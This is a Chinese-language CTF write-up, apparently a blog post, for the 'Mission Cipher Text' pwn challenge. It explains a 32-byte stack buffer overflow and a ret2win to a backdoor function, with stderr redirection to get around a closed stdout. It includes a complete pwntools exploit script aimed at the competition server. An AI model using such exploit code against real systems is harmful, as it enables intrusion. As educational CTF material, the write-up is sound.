Mission Cipher Text

第十六届极客大挑战missionciphertext (1).png

no canary,这意味着我们可以直接覆盖栈上的返回地址,no PIE,地址都是固定不变的。

main函数:

第十六届极客大挑战missionciphertext (2).png

feedback函数:

第十六届极客大挑战missionciphertext (3).png

​​首先我们在IDA中可以看到给了后门函数,然后看代码,我们看到main函数,就是选择进入哪个函数,我们再看feedback函数,这里存在一个明显的栈溢出,缓冲区只有32字节,我们可以输入256字节,那我们的思路就是简单的ret2win,但是有一个陷阱:

第十六届极客大挑战missionciphertext (4).png

我们首先要知道:

当我们运行任何一个程序时Linux都会默认给这个程序准备好三个标准的文件描述符:

【0 (Standard Input - stdin): 标准输入。默认连接到你的键盘。readscanf 等函数默认从这里读取数据。

 1 (Standard Output - stdout): 标准输出。默认连接到你的终端屏幕。printfputs 等函数默认向这里写入数据。

 2 (Standard Error - stderr): 标准错误。默认也连接到你的终端屏幕。它专门用来输出错误或诊断信息。】

这里再read前执行了close(1),也就是把我们的标准输出给关闭了,而我们在read之后覆盖返回地址执行system还是延续之前的文件描述符状态,那这会导致什么状况呢?我们来试一下,以输入指令ls为例:

第十六届极客大挑战missionciphertext (5).png

这是为什么呢,我们来看看执行的过程:输入 ls----> ls命令执行,并尝试把它找到的文件列表写入到 stdout (1),因为这是它的默认输出位置  ----> ls 尝试写入 fd 1,但系统发现 fd 1 是一个已关闭的、无效的描述符,所以 write 系统调用失败,并返回一个错误码 EBADF ---->我的的 shell 把这个系统错误翻译成你看到的文字:“写入错误: 错误的文件描述符”。

那我们该怎么办呢,我们看stderr(上面介绍过),既然ls默认输出位置fd1关闭了,那我们让ls输出到fd2不也能输出出来让我们看到吗,那我们就可以用”>&2“把ls的写入重定向到fd2。

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p = process('./pwn')
p = remote('geek.ctfplus.cn',30627)
# 进入feedback函数
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Please enter your feedback:')
backdoor_addr = 0x4014ab
ret = 0x40101a
# 注意64位要栈对齐
payload = b'A' * 40
payload += p64(ret)
payload += p64(backdoor_addr)
p.send(payload)
# 发送命令将输出重定向到标准错误
p.sendline(b'cat flag >&2')
p.interactive()

​题目链接:

CTF-Writeups/第十六届极客大挑战/Mission Cipher Text at main · ZenDuk17/CTF-Writeups


Mission Cipher Text
http://localhost:8080/archives/mission-cipher-text
作者
ZenDuk
发布于
2025年10月30日
许可协议